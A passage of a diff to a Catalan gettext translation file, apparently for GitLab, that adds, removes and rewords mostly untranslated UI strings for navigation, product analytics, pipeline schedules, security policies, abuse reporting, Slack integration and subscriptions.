msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr "Missatges"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr "Nom"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "Ajuda"
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
